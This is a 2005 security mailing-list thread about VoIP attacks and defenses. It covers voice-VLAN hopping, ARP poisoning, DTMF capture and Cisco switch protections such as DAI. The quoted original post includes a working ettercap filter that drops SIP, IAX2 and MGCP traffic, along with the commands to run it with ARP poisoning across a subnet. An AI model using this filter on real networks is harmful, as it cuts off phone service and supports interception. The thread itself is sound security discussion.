[VOIPSEC] VoIP Blocking Filter w/Ettercap
Troy Sherman
tsherman at cisco.com
Mon Jul 18 18:59:04 CDT 2005
See in line....
Troy Sherman
JAG 1024
Cisco Systems Inc.
Phone 408.902.3091
Cell 408.887.9516
Pager 800.365.4578
-----Original Message-----
From: Voipsec-bounces at voipsa.org [mailto:Voipsec-bounces at voipsa.org] On
Behalf Of Michael Todd
Sent: Monday, July 18, 2005 4:18 AM
To: Credland, Jim; Voipsec at voipsa.org
Subject: Re: [VOIPSEC] VoIP Blocking Filter w/Ettercap
The big problem with using 802.1x is that it isn't supported with the
802.1q trunking standard, which I know that Cisco uses for phone to
switch VLAN assignment.
THS - We do not really use a trunk. Multi access port is I think what
marketing calls it. But you are correct, 802.1x does not support logical
separation, it only supports physical.
It is a trivial thing to modify an 802.1q
header to jump with a computer onto the voice VLAN.
THS - not through a phone, but if you just plug into a port yes.
Even if you
configure 802.1x on a port, it will only challenge packets received
on the switch port for traffic on the the data, not voice, VLAN. And
since the switch trusts the phone to tag each packet with the correct
VLAN, a laptop can do it just as easily with a simple ifconfig command.
THS - True on older switches, not quite that easy on newer ones.
So, with Cisco installations (and I imagine any other that uses
802.1q trunking to the phone), there is NO way to prevent an attacker
from jumping directly onto the Voice VLAN as long as he has physical
access to the end port where a phone has been configured. Which
means, in most installations, every port at every desk. Throw
anything you want at me as far as ideas, I've run through them all,
and trust me, there is NO way to stop someone from doing this. I'll
take any challengers :). I reported this bypass method to Cisco's
PSIRT many months ago and they have yet to make any kind of public
disclosure. I believe they stated that the reason for this was that
the vulnerability was with the protocol standards, not with their
product. Not a great excuse in my opinion.
DTMF can be captured and logged for all calls once the attacker is
able to get onto the Voice VLAN and perform arp cache redirects. Use
your own imagination as far as what this could get a malicious attacker.
THS - DAI does prevent this from happening. You will be on the voice vlan,
but you will not be able to run a MIM attack, or at least anyone that I know
of (ettercap, Cain, etc.) You will not be able to redirect, these things
will not work with arp. You will be in the voice vlan, so there are things
that you might be able to do, but between ACL's and qos, you are limited to
the amount of traffic that you are going to send, so the impact on the
devices is not very high in my opinion. You can also run IP source guard for
spoofing of IP and MAC, but that might be extreme in some peoples network.
Also IP source guard with port security requires option 82 on the dhcp
servers and most people do not have that type of dhcp server.
My recommendation is to at least disable gratuitous arp requests
and run an IDS on the voice VLAN. Not that there are many IDS sigs
for this type of attack.
Also, the problem with endpoint encryption is that, at least in Cisco
installations, the choice whether or not to encrypt the RTP stream is
negotiated *between the phones* at the time a call is placed, so if a
MITM attack were to step in the middle of this negotiation, the rest
of the call would be placed unencrypted, even between telephones that
have been configured for encryption.
THS - The Call Manager does the negotiation of keys through the encrypted
signaling to the phones. How would you step into this if the signaling is
encrypted, and that is what does the setup for the RTP streams? Could you
please go into more detail?
The list goes on and on, please ask if anyone needs clarification or
further examples. Or challenges :). I can demonstrate any of these
attacks if anyone is curious.
Mike Todd
CCIE #10858 (Routing and Switching / Security / Voice)
michael.todd at gtsi.com
On Jul 13, 2005, at 10:31 AM, Credland, Jim wrote:
> Protecting a network to which people have physical access is tricky.
> Ettercap is a scary reminder of how easy it is to intercept/reroute
> and
> generally ethernet segments. If you've got a test network to try a
> man in
> the middle attack on using ettercap it's well worth it for the
> amusement
> value alone.
>
> In an enterprise environment requiring a high standard of VoIP
> security I'd
> definitely be considering something like 802.1x port authentication to
> reduce the risk from someone connecting a PC to the VoIP vLAN, and
> if it was
> readily available encryption of the voice and switching traffic.
>
> Much of the documentation on VoIP Security seems to skip over these
> kinds of
> problems, the NIST documents solution is use encryption,
> authentication and
> public keys. This does little about denial-of-service and has the
> lack of
> support for these kinds of features in many implementations. The
> Cisco
> VoIP security document used to suggests you don't let anyone bad
> near your
> switch - but I've noticed a new document on their site listing a
> whole load
> of layer 2 security features - see
> http://www.cisco.com/en/US/netsol/ns340/ns394/ns165/
> networking_solutions_whi
> te_paper0900aecd80240249.shtml - in the layer 2 defenses section.
> I'd be
> interested - if you test switch has these features - in whether or
> not you
> can cause much distruption with these features enabled.
>
> I think I saw a tool for listening to intercepted RTP streams but I
> forget
> what it's called?
>
> Luckly once you get out of your LAN environment to a central server or
> carrier environment where there are strong physical access controls
> then
> this kind of security becomes less critical and other problems
> raise their
> heads instead.
>
> jim.credland at thus.net
> Security Consultant
>
>
>
>> -----Original Message-----
>> From: Natas [mailto:natas05 at gmail.com]
>> Sent: 13 July 2005 02:09
>> To: Voipsec at voipsa.org
>> Subject: [VOIPSEC] VoIP Blocking Filter w/Ettercap
>>
>> After playing around with ettercap and its filter program,
>> etterfilter, I realized how easy it would be to ARP poison a
>> network and block all VoIP packets from passing through.
>> While packet manipulation obviously isn't new, and the root
>> of the problem comes from the ease of ARP poisoning, I was
>> still kind of shocked at how easy an attack like this could
>> be pulled off in a real world scenario.
>> A simple ettercap filter can be used to block all SIP, IAX2
>> and MGCP traffic, stopping any possible communication across
>> a network segment, but letting other traffic properly pass
>> through. Below is a basic filter I wrote up for this list.
>>
>>
>> # blockvoip.filter
>> # Proof of concept VoIP blocking filter
>> # By Natas
>> # Instructions:
>> # Run "etterfilter blockvoip.filter -o blockvoip.ef"
>> # Then "ettercap -T -q -F blockvoip.ef -M ARP /10.1.1.1-254/ //"
>>
>> if (ip.proto == UDP && udp.src == 4569) {
>> msg("Killed Attempted IAX2 Connection.\n");
>> drop();
>> kill();
>> }
>>
>> if (ip.proto == UDP && udp.src == 5060) {
>> msg("Killed Attempted SIP Connection.\n");
>> drop();
>> kill();
>> }
>>
>> if (ip.proto == UDP && udp.src == 2427) {
>> msg("Killed Attempted MGCP Connection.\n");
>> drop();
>> kill();
>> }
>>
>> # Don't know to much about MGCP Call Agent traffic but # I
>> put it in here for the hell of it.
>> if (ip.proto == UDP && udp.src == 2727) {
>> msg("Killed Attempted MGCP Call Agent Connection.\n");
>> drop();
>> kill();
>> }
>>
>> # End.
>>
>> Obviously this is just a simple example and could easily be
>> expanded to ensure that no VoIP traffic whatsoever passes through.
>>
>> I'm not sure how everyone here will feel about this little
>> example but I wanted to put it out there for everyone to see.
>> I have some other VoIP packet manipulation ideas that I am
>> playing around with.
>>
>> I enjoy the VoIPSA mailing list very much and like reading
>> every ones posts and concerns. If you would like to talk off
>> the list, feel free to email me or contact me at 206-338-3337.
>>
>> Natas
>>
>> _______________________________________________
>> Voipsec mailing list
>> Voipsec at voipsa.org
>> http://voipsa.org/mailman/listinfo/voipsec_voipsa.org
>>
>>
>
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